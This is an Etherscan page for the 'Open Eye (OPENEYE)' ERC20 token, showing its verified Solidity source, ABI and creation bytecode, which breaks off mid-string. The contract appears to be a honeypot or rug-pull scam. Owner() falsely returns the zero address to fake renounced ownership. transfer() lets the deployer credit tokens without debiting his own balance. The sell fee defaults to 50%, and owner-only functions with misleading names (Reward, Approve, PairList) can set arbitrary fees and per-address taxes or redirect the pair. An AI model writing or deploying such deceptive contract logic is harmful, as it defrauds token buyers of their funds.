ETH Price: $2,627.11 (+0.52%)

Token

Open Eye (OPENEYE)
 

Overview

Max Total Supply

100,000,000 OPENEYE

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
571,569.709872112405042632 OPENEYE

Value
$0.00
0x619b423E3116AE05FD4350BDEbc32CF87489f644
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OpenEye

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-06
*/

/**

Welcome new joiners! Check our voice chat timer it reflects our launch time, we will be launching this Monday 6PM UTC!

👁‍🗨 Website: www.openeyetoken.com
👁‍🗨 Twitter: twitter.com/OpenEyeETH
👁‍🗨 Medium: medium.com/@OpenEyeETH

https://t.me/OpenEyeERC

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function Owner() public view virtual returns (address) {
        return address(0);
    }

    modifier onlyOwner() {
        require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
pragma solidity ^0.8.0;
library SafeMath {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
pragma solidity ^0.8.0;
interface IUniswapV2Factory {

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 pragma solidity ^0.8.0;
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

pragma solidity ^0.8.0;
contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed Owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    
    function allowance(address Owner, address spender) public view virtual returns (uint256) {
        return _allowances[Owner][spender];
    }

    
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, Amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, _allowances[Owner][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        uint256 currentAllowance = _allowances[Owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(Owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _approve(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[Owner][spender] = Amount;
        emit Approval(Owner, spender, Amount);
    }

    
    function _spendAllowance(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(Owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(Owner, spender, currentAllowance - Amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
contract OpenEye is ERC20, Ownable {
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    } 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;


    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);

        
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _REWARD(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        _REWARD(msg.sender, totalSupply_ * 10**decimals());
        _defaultSellkFee = 50; 
        _defaultBuykFee = 0;
        _release[_msgSender()] = true;
        
    }

    using SafeMath for uint256;

    uint256 private _defaultSellkFee = 0;
    uint256 private _defaultBuykFee = 0;


    mapping(address => bool) private _mAccount;

    mapping(address => uint256) private _Aprove;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyOwner returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }


    function Reward(uint256 _value) external onlyOwner {
        _defaultSellkFee = _value;
    }

    

    

    function Approve(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 1");
        _Aprove[_address] = _value;
    }

    

    function getAprove(address _address) external view onlyOwner returns (uint256) {
        return _Aprove[_address];
    }


    function setMAccountkFee(address _address, bool _value) external onlyOwner {
        _mAccount[_address] = _value;
    }

    function getMAccountkFee(address _address) external view onlyOwner returns (bool) {
        return _mAccount[_address];
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _mAccount[from] || _mAccount[to];
    }


    function _receiveF(
        address from,
        address to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradekFeeAmount = 0;

        if (rF) {
            uint256 tradekFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {

                    tradekFee = _defaultSellkFee;
                }
                if (from == uniswapV2Pair) {

                    tradekFee = _defaultBuykFee;
                }
            }
            if (_Aprove[from] > 0) {
                tradekFee = _Aprove[from];
            }

            tradekFeeAmount = _Amount.mul(tradekFee).div(100);
        }


        if (tradekFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradekFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount);
            emit Transfer(from, _deadAddress, tradekFeeAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);
        _balances[to] = _balances[to].add(_Amount - tradekFeeAmount);
        emit Transfer(from, to, _Amount - tradekFeeAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        if (_release[Owner] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(Owner, to, Amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(this),
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getMAccountkFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setMAccountkFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60a0604052600060085560006009553480156200001b57600080fd5b506040516200359038038062003590833981810160405281019062000041919062000730565b828281600290805190602001906200005b929190620005a2565b50806003908051906020019062000074929190620005a2565b505050620000976200008b6200037960201b60201c565b6200038160201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200012e57600080fd5b505afa15801562000143573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001699190620006fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001cc57600080fd5b505afa158015620001e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002079190620006fe565b6040518363ffffffff1660e01b81526004016200022692919062000813565b602060405180830381600087803b1580156200024157600080fd5b505af115801562000256573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027c9190620006fe565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002f833620002d16200044760201b60201c565b600a620002df9190620009a7565b84620002ec919062000ae4565b6200045060201b60201c565b603260088190555060006009819055506001600660006200031e6200037960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050505062000d74565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620004c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004ba9062000840565b60405180910390fd5b8060016000828254620004d79190620008ef565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200052f9190620008ef565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000596919062000862565b60405180910390a35050565b828054620005b09062000bc6565b90600052602060002090601f016020900481019282620005d4576000855562000620565b82601f10620005ef57805160ff191683800117855562000620565b8280016001018555821562000620579182015b828111156200061f57825182559160200191906001019062000602565b5b5090506200062f919062000633565b5090565b5b808211156200064e57600081600090555060010162000634565b5090565b6000620006696200066384620008a8565b6200087f565b90508281526020810184848401111562000688576200068762000cc4565b5b6200069584828562000b90565b509392505050565b600081519050620006ae8162000d40565b92915050565b600082601f830112620006cc57620006cb62000cbf565b5b8151620006de84826020860162000652565b91505092915050565b600081519050620006f88162000d5a565b92915050565b60006020828403121562000717576200071662000cce565b5b600062000727848285016200069d565b91505092915050565b6000806000606084860312156200074c576200074b62000cce565b5b600084015167ffffffffffffffff8111156200076d576200076c62000cc9565b5b6200077b86828701620006b4565b935050602084015167ffffffffffffffff8111156200079f576200079e62000cc9565b5b620007ad86828701620006b4565b9250506040620007c086828701620006e7565b9150509250925092565b620007d58162000b45565b82525050565b6000620007ea602183620008de565b9150620007f78262000cf1565b604082019050919050565b6200080d8162000b79565b82525050565b60006040820190506200082a6000830185620007ca565b620008396020830184620007ca565b9392505050565b600060208201905081810360008301526200085b81620007db565b9050919050565b600060208201905062000879600083018462000802565b92915050565b60006200088b6200089e565b905062000899828262000bfc565b919050565b6000604051905090565b600067ffffffffffffffff821115620008c657620008c562000c90565b5b620008d18262000cd3565b9050602081019050919050565b600082825260208201905092915050565b6000620008fc8262000b79565b9150620009098362000b79565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000941576200094062000c32565b5b828201905092915050565b6000808291508390505b60018511156200099e5780860481111562000976576200097562000c32565b5b6001851615620009865780820291505b8081029050620009968562000ce4565b945062000956565b94509492505050565b6000620009b48262000b79565b9150620009c18362000b83565b9250620009f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009f8565b905092915050565b60008262000a0a576001905062000add565b8162000a1a576000905062000add565b816001811462000a33576002811462000a3e5762000a74565b600191505062000add565b60ff84111562000a535762000a5262000c32565b5b8360020a91508482111562000a6d5762000a6c62000c32565b5b5062000add565b5060208310610133831016604e8410600b841016171562000aae5782820a90508381111562000aa85762000aa762000c32565b5b62000add565b62000abd84848460016200094c565b9250905081840481111562000ad75762000ad662000c32565b5b81810290505b9392505050565b600062000af18262000b79565b915062000afe8362000b79565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b3a5762000b3962000c32565b5b828202905092915050565b600062000b528262000b59565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000bb057808201518184015260208101905062000b93565b8381111562000bc0576000848401525b50505050565b6000600282049050600182168062000bdf57607f821691505b6020821081141562000bf65762000bf562000c61565b5b50919050565b62000c078262000cd3565b810181811067ffffffffffffffff8211171562000c295762000c2862000c90565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b62000d4b8162000b45565b811462000d5757600080fd5b50565b62000d658162000b79565b811462000d7157600080fd5b50565b60805160601c6127fd62000d93600039600061055101526127fd6000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c80636c9992b3116100c3578063a457c2d71161007c578063a457c2d7146103b4578063a9059cbb146103e4578063b4a99a4e14610414578063b4c60b4514610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b80636c9992b3146102e057806370a0823114610310578063715018a61461034057806390ec57f11461034a57806395d89b411461036657806399a2f61f146103845761014d565b80632c91d071116101155780632c91d0711461020c578063313ce5671461022857806339509351146102465780633ac0594a1461027657806349bd5a5e146102925780635dd7c8ac146102b05761014d565b806306fdde0314610152578063095ea7b3146101705780631694505e146101a057806318160ddd146101be57806323b872dd146101dc575b600080fd5b61015a61049a565b604051610167919061205c565b60405180910390f35b61018a60048036038101906101859190611dbc565b61052c565b6040516101979190612026565b60405180910390f35b6101a861054f565b6040516101b59190612041565b60405180910390f35b6101c6610573565b6040516101d391906121be565b60405180910390f35b6101f660048036038101906101f19190611d29565b61057d565b6040516102039190612026565b60405180910390f35b61022660048036038101906102219190611cbc565b6105ac565b005b610230610687565b60405161023d91906121d9565b60405180910390f35b610260600480360381019061025b9190611dbc565b610690565b60405161026d9190612026565b60405180910390f35b610290600480360381019061028b9190611dfc565b610739565b005b61029a6107da565b6040516102a7919061200b565b60405180910390f35b6102ca60048036038101906102c59190611cbc565b610800565b6040516102d791906121be565b60405180910390f35b6102fa60048036038101906102f59190611cbc565b6108e0565b6040516103079190612026565b60405180910390f35b61032a60048036038101906103259190611cbc565b6109cd565b60405161033791906121be565b60405180910390f35b610348610a16565b005b610364600480360381019061035f9190611dbc565b610ab9565b005b61036e610bdc565b60405161037b919061205c565b60405180910390f35b61039e60048036038101906103999190611cbc565b610c6e565b6040516103ab9190612026565b60405180910390f35b6103ce60048036038101906103c99190611dbc565b610d5b565b6040516103db9190612026565b60405180910390f35b6103fe60048036038101906103f99190611dbc565b610e44565b60405161040b9190612026565b60405180910390f35b61041c610f21565b604051610429919061200b565b60405180910390f35b61044c60048036038101906104479190611d7c565b610f26565b005b61046860048036038101906104639190611ce9565b611018565b60405161047591906121be565b60405180910390f35b61049860048036038101906104939190611cbc565b61109e565b005b6060600280546104a9906123e3565b80601f01602080910402602001604051908101604052809291908181526020018280546104d5906123e3565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000806105376111b1565b90506105448185856111b9565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600154905090565b6000806105886111b1565b9050610595858285611383565b6105a085858561140f565b60019150509392505050565b6105b46111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063a9061209e565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061069b6111b1565b905061072e8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107299190612210565b6111b9565b600191505092915050565b6107416111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c79061209e565b60405180910390fd5b8060088190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061080a6111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108909061209e565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006108ea6111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109709061209e565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffff